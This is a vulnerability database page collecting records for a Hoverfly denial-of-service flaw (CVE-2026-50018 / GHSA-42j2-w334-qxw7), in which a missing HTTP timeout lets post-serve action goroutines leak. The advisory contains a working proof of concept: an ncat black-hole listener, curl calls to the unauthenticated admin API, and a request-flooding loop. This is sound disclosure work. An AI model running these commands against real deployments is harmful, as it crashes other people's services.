Vulnerability-Lookup

CVE-2026-50018 (GCVE-0-2026-50018)

Vulnerability from cvelistv5 – Published: 2026-09-11 21:28 – Updated: 2026-09-14 19:28

Title

Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions

Summary

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use `http.DefaultClient` without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on `http.DefaultClient.Do()`. An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint. Version 1.12.8 patches the issue.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-14 19:28 UTC

CWE

CWE-400 - Uncontrolled Resource Consumption
CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M mitre root Scorecard

References

3 references

URL	Tags
https://github.com/SpectoLabs/hoverfly/security/a…	x_refsource_CONFIRM
https://github.com/SpectoLabs/hoverfly/pull/1228	x_refsource_MISC
https://github.com/SpectoLabs/hoverfly/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
SpectoLabs	hoverfly	Affected: < 1.12.8

Show details on NVD website

JSON

To clipboard

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EUVD-2026-368193

European Vulnerability Database identifier assigned by ENISA

Reserved

2026-10-02 08:36

Assigner

ENISA

Alias of

a CVE record, shown under related vulnerabilities. This identifier carries no description, severity or references of its own: they belong to that CVE.

JSON

To clipboard

{
  "assigner": "ENISA",
  "date_reserved": "2026-10-02T08:36:43.597180+00:00",
  "id": "EUVD-2026-368193"
}

FKIE_CVE-2026-50018

Vulnerability from fkie_nvd - Published: 2026-09-11 22:16 - Updated: 2026-09-30 17:51

Severity

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/SpectoLabs/hoverfly/pull/1228
	security-advisories@github.com	https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8
	security-advisories@github.com	https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-42j2-w334-qxw7
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-42j2-w334-qxw7

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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          "vendor": "SpectoLabs",
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              "status": "affected",
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    }
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GHSA-42J2-W334-QXW7

Vulnerability from github – Published: 2026-07-14 18:04 – Updated: 2026-07-14 18:04

Summary

Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions

Details

Summary:

Remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on http.DefaultClient.Do(). An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint.

Details:

1. Remote actions executed in goroutines without timeout (core/hoverfly.go:224-228):

go postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal)

Post-serve actions are executed in separate goroutines with no recovery wrapper.

2. HTTP client has no timeout (core/action/action.go:128-143):

req, err := http.NewRequest("POST", action.Remote, bytes.NewBuffer(pairViewBytes))
// ...
resp, err := http.DefaultClient.Do(req)  // No timeout! Blocks forever.

http.DefaultClient has zero timeout by default in Go. If the remote server: - Accepts the TCP connection but never sends a response - Establishes TLS but never completes the handshake
- Uses TCP window size 0 (flow control stall)

...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup.

3. No goroutine limit or backpressure:

There is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally.

4. The goroutine is never cleaned up:

The only exit path from Execute() is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed.

Environment:

Hoverfly version: v1.12.7
Operating System: macOS Darwin 25.4.0
Go version: 1.26.2
Configuration: Default (no flags required)

POC:

Step 1: Start a black-hole TCP listener (accepts connections, never responds)

# Option A: Use ncat
ncat -l -k 9999 &

# Option B: Use a non-routable IP (connections hang at TCP SYN)
# 192.0.2.1 is TEST-NET-1, guaranteed non-routable
# This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited)

Step 2: Register remote post-serve action pointing to the black hole

curl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \
  -H "Content-Type: application/json" \
  -d '{
    "actionName": "leak",
    "remote": "http://192.0.2.1:9999/blackhole",
    "delayInMs": 0
  }'

Step 3: Load a catch-all simulation

curl -X PUT http://localhost:8888/api/v2/simulation \
  -H "Content-Type: application/json" \
  -d '{
    "data": {
      "pairs": [{
        "request": {"path": [{"matcher": "glob", "value": "*"}]},
        "response": {"status": 200, "body": "ok", "postServeAction": "leak"}
      }],
      "globalActions": {"delays": [], "delaysLogNormal": []}
    },
    "meta": {"schemaVersion": "v5.2"}
  }'

Step 4: Flood with requests

# Each request spawns an immortal goroutine
for i in $(seq 1 10000); do
    curl -s -x http://localhost:8500 "http://target.com/req${i}" &
    # Throttle to avoid local FD exhaustion
    [ $((i % 100)) -eq 0 ] && wait
done

Verified memory impact on Hoverfly v1.12.7:

Memory before: 20,064 KB
Memory after 50 requests: 23,376 KB
Memory increase: 3,312 KB (66 KB per goroutine)

At this rate: - 1,000 requests = ~64 MB leaked - 10,000 requests = ~640 MB leaked - 100,000 requests = ~6.4 GB leaked → OOM crash

Impact:

An attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by:

Registering a remote post-serve action pointing to a non-responsive endpoint.
Loading a catch-all simulation that triggers the action on every request.
Sending proxy traffic, each request permanently leaks a goroutine and its associated memory.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.12.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/SpectoLabs/hoverfly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.12.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50018"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T18:04:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary:\n\nRemote post-serve actions use `http.DefaultClient` without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on `http.DefaultClient.Do()`. An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint.\n\n### Details:\n\n**1. Remote actions executed in goroutines without timeout (`core/hoverfly.go:224-228`):**\n\n```go\ngo postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal)\n```\n\nPost-serve actions are executed in separate goroutines with no recovery wrapper.\n\n**2. HTTP client has no timeout (`core/action/action.go:128-143`):**\n\n```go\nreq, err := http.NewRequest(\"POST\", action.Remote, bytes.NewBuffer(pairViewBytes))\n// ...\nresp, err := http.DefaultClient.Do(req)  // No timeout! Blocks forever.\n```\n\n`http.DefaultClient` has zero timeout by default in Go. If the remote server:\n- Accepts the TCP connection but never sends a response\n- Establishes TLS but never completes the handshake  \n- Uses TCP window size 0 (flow control stall)\n\n...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup.\n\n**3. No goroutine limit or backpressure:**\n\nThere is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally.\n\n**4. The goroutine is never cleaned up:**\n\nThe only exit path from `Execute()` is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed.\n\n### Environment:\n\n- **Hoverfly version:** v1.12.7\n- **Operating System:** macOS Darwin 25.4.0\n- **Go version:** 1.26.2\n- **Configuration:** Default (no flags required)\n\n### POC:\n\n**Step 1: Start a black-hole TCP listener (accepts connections, never responds)**\n\n```bash\n# Option A: Use ncat\nncat -l -k 9999 \u0026\n\n# Option B: Use a non-routable IP (connections hang at TCP SYN)\n# 192.0.2.1 is TEST-NET-1, guaranteed non-routable\n# This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited)\n```\n\n**Step 2: Register remote post-serve action pointing to the black hole**\n\n```bash\ncurl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"actionName\": \"leak\",\n    \"remote\": \"http://192.0.2.1:9999/blackhole\",\n    \"delayInMs\": 0\n  }\u0027\n```\n\n**Step 3: Load a catch-all simulation**\n\n```bash\ncurl -X PUT http://localhost:8888/api/v2/simulation \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"data\": {\n      \"pairs\": [{\n        \"request\": {\"path\": [{\"matcher\": \"glob\", \"value\": \"*\"}]},\n        \"response\": {\"status\": 200, \"body\": \"ok\", \"postServeAction\": \"leak\"}\n      }],\n      \"globalActions\": {\"delays\": [], \"delaysLogNormal\": []}\n    },\n    \"meta\": {\"schemaVersion\": \"v5.2\"}\n  }\u0027\n```\n\n**Step 4: Flood with requests**\n\n```bash\n# Each request spawns an immortal goroutine\nfor i in $(seq 1 10000); do\n    curl -s -x http://localhost:8500 \"http://target.com/req${i}\" \u0026\n    # Throttle to avoid local FD exhaustion\n    [ $((i % 100)) -eq 0 ] \u0026\u0026 wait\ndone\n```\n\n**Verified memory impact on Hoverfly v1.12.7:**\n\n```\nMemory before: 20,064 KB\nMemory after 50 requests: 23,376 KB\nMemory increase: 3,312 KB (66 KB per goroutine)\n```\n\nAt this rate:\n- 1,000 requests = ~64 MB leaked\n- 10,000 requests = ~640 MB leaked\n- 100,000 requests = ~6.4 GB leaked \u2192 OOM crash\n\n### Impact:\n\nAn attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by:\n\n1. Registering a remote post-serve action pointing to a non-responsive endpoint.\n2. Loading a catch-all simulation that triggers the action on every request.\n3. Sending proxy traffic, each request permanently leaks a goroutine and its associated memory.",
  "id": "GHSA-42j2-w334-qxw7",
  "modified": "2026-07-14T18:04:55Z",
  "published": "2026-07-14T18:04:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-42j2-w334-qxw7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SpectoLabs/hoverfly/pull/1228"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SpectoLabs/hoverfly"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions"
}

Sightings

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Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Action not permitted

CVE-2026-50018 (GCVE-0-2026-50018)

EUVD-2026-368193

FKIE_CVE-2026-50018

GHSA-42J2-W334-QXW7

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